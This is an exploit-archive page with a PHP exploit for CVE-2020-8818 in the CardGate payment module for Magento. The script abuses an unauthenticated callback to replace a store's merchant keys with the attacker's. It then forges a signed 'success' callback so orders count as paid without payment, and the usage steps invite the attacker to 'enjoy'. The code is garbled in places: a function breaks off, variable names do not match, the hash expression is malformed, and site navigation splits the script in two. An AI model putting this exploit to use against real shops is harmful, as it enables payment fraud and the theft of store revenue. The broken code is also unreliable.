

Magento WooCommerce CardGate Payment Gateway 2.0.30 Bypass

Authored by [GeekHack](#)

Posted Feb 25, 2020

Magento WooCommerce CardGate Payment Gateway version 2.0.30 suffers from a payment process bypass vulnerability.

tags | [exploit](#), [bypass](#)

advisories | [CVE-2020-8818](#)

SHA-256 | [facc20610a3a485e40c8340014f14252b181308de06bde1189b8099b5152e83](#) [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

Download

```
# Exploit Title: Magento WooCommerce CardGate Payment Gateway 2.0.30 - Payment Process Bypass
# Discovery Date: 2020-02-02
# Public Disclosure Date: 2020-02-22
# Exploit Author: GeekHack
# Vendor Homepage: https://www.cardgate.com (www.europayments.com)
# Software Link: https://github.com/cardgate/magento2/releases/tag/v2.0.30
# Version: <= 2.0.30
# Tested on: Magento 2.3.4 + CardGate Payment Gateway Module 2.0.30
# CVE: CVE-2020-8818

<?php
/*
 * Description:
 *
 * Lack of origin authentication (CWE-346) at IPN callback processing function allow (even unauthorized)
 * attacker to remotely replace critical plugin settings (merchant id, secret key etc) with known to him and
 * therefore bypass payment process (eg. spoof order status by manually sending IPN callback request with a valid
 * signature but without real payment) and/or receive all subsequent payments (on behalf of the store).
 *
 * [code ref:
 * https://github.com/cardgate/magento2/blob/715979e54e1a335d78a8c5586f9e9987c3bf94fd/Controller/Payment/Callback.i
 * L107]
 */
*/

/*
 * Usage:
 *
 * 1. Change values of the constants (see below for TARGET & ORDER*)
 * 2. Host this script somewhere (must be public accessible)
 * 3. Register a merchant at https://cardgate.com
 * 4. Sign into "My CardGate" dashboard
 * 5. Add fake site or choose existing one
 * 6. Click "Setup your Webshop" button in site preferences
 * 7. Paste the URL of this script into the pop-up window and click "Save"
 * 8. The target store now uses the settings of your site, enjoy :)
 *
 * P.S. It works perfectly in both Staging and Live modes, regardless of the current mode of the target shop.
 */

// ----- Options (start) -----
define('TARGET', 'http://domain.tld'); // without trailing slash, pls
define('ORDER', '00000001'); // provide non-zero value to automatically spoof order status
define('ORDER_AMOUNT', 1.00); // provide a valid total (to bypass built-in fraud protection)
define('ORDER_CURRENCY', 'USD'); // provide a valid currency (same goal as above)
define('ORDER_PAYMENT_TYPE', 'sofortbanking'); // provide a valid payment type slug (optional)
// ----- Options (end) -----

define('API_STAGING', 'https://secure-staging.europayments.net/test/v1/curo/');
define('API_PRODUCTION', 'https://secure.europayments.net/rest/v1/curo/');

/**
 * Original function from CardGate API client library (SDK) with minor changes
 * @param string $accessToken
 * @param bool $testmode
 * @return string
 */
function pullConfig($accessToken, $testmode = FALSE) {
    if (!is_string($accessToken)) {
        throw new Exception('Invalid token for settings pull: ' . $accessToken);
    }

    $resource = 'pullconfig/' . $accessToken;
    $url = ($testmode ? API_STAGING : API_PRODUCTION) . $resource;

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_HEADER, FALSE);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/json',
        'Accept: application/json'
    ]);
    if ($testmode) {
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    } else {
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, TRUE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
    }

    if (FALSE == ($results = curl_exec($ch))) {
        $error = curl_error($ch);
        curl_close($ch);
        throw new Exception('Client.Request.Curl.Error: ' . $error);
    } else {
        curl_close($ch);
    }

    if (NULL === ($results = json_decode($results, TRUE))) {
        throw new Exception('remote gave invalid JSON: ' . $results);
    }

    if (isset($results['error'])) {
        throw new Exception($results['error']['message']);
    }

    return $results;
}

/**
 * Original function from CardGate API client library (SDK) with minor changes
 * @param string $url
 * @param array $data
 * @param string $method
 * @return string
 */
function doRequest($url, $data = NULL, $method = 'POST') {
    if (!in_array($method, ['GET', 'POST'])) {
        throw new Exception('Invalid http method: ' . $method);
    }

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_HEADER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

    if ('POST' == $method) {
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, TRUE);
    }
}
```

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files

Ubuntu 68 files

LiquidWorm 23 files

Debian 16 files

malvuln 11 files

nu11security 11 files

Gentoo 9 files

Google Security Research 6 files

Julien Ahrens 4 files

T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	
File Upload (946)	
Firewall (821)	<b>Systems</b>
Info Disclosure (2,660)	AIX (426)
Intrusion Detection (867)	Apple (1,926)
Java (2,899)	BSD (370)
JavaScript (821)	CentOS (55)
Kernel (6,291)	Cisco (1,917)
Local (14,201)	Debian (6,634)
Magazine (586)	Fedora (1,600)
Overflow (12,419)	FreeBSD (1,242)
Perl (1,418)	Gentoo (4,272)
PHP (5,093)	HPUX (878)
Proof of Concept (2,291)	iOS (330)
Protocol (3,435)	iPhone (108)
Python (1,467)	IRIX (220)
Remote (30,044)	Juniper (67)
Root (3,504)	Linux (44,315)
Ruby (594)	Mac OS X (684)
Scanner (1,631)	Mandriva (3,105)
Security Tool (7,777)	NetBSD (255)
Shell (3,103)	OpenBSD (479)
Shellcode (1,204)	RedHat (12,469)
Sniffer (886)	Slackware (941)
	Solaris (1,607)

```
curl_setopt($rCh, CURLOPT_POSTFIELDS, http_build_query($aData_));
} else {
    $aUrl = $aUrl
    . (FALSE === strpos($aUrl, '?') ? '?' : '&')
    . http_build_query($aData_);
    curl_setopt($rCh, CURLOPT_URL, $aUrl);
}

$response = curl_exec($rCh);
if (FALSE == $response) {
    $aError = curl_error($rCh);
    curl_close($rCh);
    throw new Exception('Client.Request.Curl.Error: ' . $aError);
} else {
    curl_close($rCh);
}

return $response;
}

if (!empty($_REQUEST['csp_sitsetup']) && !empty($_REQUEST['token'])) {
    try {
        $aResult = pullConfig($_REQUEST['token'], $_REQUEST['testmode']);
        $aConfigData = $aResult['pullconfig']['content'];
        $response = doRequest(TARGET . '/cardgate/payment/callback', $_REQUEST, 'GET');
        if ($response == $aConfigData['merchant_id'] . '.' . $aConfigData['site_id'] . '.200') {
            if (ORDER) {
                $payload = [
                    'testmode' => $_REQUEST['testmode'],
                    'reference' => ORDER,
                    'transaction' => 'T' . str_pad(time(), 11, random_int(0, 9)),
                    'currency' => ORDER_CURRENCY,
                    'amount' => ORDER_AMOUNT * 100,
                    'status' => 'success',
                    'code' => 200,
                    'pt' => ORDER_PAYMENT_TYPE
                ];
                $payload['hash'] = md5(
                    (!empty($payload['testmode'])) ? 'TEST' : ''
                );
                $payload['transaction']
                . $payload['currency']
                . $payload['amount']
                . $payload['reference']
                . $payload['code']
                . $aConfigData['site_key']
            );
            $response = doRequest(TARGET . '/cardgate/payment/callback', $payload, 'GET');
            if ($response == $payload['transaction'] . '.' . $payload['code']) {
                die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200');
            } else {
                throw new Exception("Unable to spoof order status, but merchant settings was updated successfully ($response)");
            }
        } else {
            die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200');
        }
    } else {
        throw new Exception("It seems target is not vulnerable ($response)");
    }
} catch (\Exception $e) {
    die(htmlspecialchars($e->getMessage()));
}
}
```

[Login](#) or [Register](#) to add favorites

<a href="#">Spoof (2,166)</a>	<a href="#">SUSE (1,444)</a>
<a href="#">SQL Injection (16,102)</a>	<a href="#">Ubuntu (8,199)</a>
<a href="#">TCP (2,379)</a>	<a href="#">UNIX (9,159)</a>
<a href="#">Trojan (686)</a>	<a href="#">UnixWare (185)</a>
<a href="#">UDP (676)</a>	<a href="#">Windows (6,511)</a>
<a href="#">Virus (662)</a>	<a href="#">Other</a>
<a href="#">Vulnerability (31,136)</a>	
<a href="#">Web (9,365)</a>	
<a href="#">Whitepaper (3,729)</a>	
<a href="#">x86 (946)</a>	
<a href="#">XSS (17,494)</a>	
<a href="#">Other</a>	

### Site Links


<a href="#">News by Month</a>
<a href="#">News Tags</a>
<a href="#">Files by Month</a>
<a href="#">File Tags</a>
<a href="#">File Directory</a>


### About Us

<a href="#">History &amp; Purpose</a>
<a href="#">Contact Information</a>
<a href="#">Terms of Service</a>
<a href="#">Privacy Statement</a>
<a href="#">Copyright Information</a>

### Hosting By

<a href="#">Rokasec</a>
-------------------------

 Follow us on Twitter

 Subscribe to an RSS Feed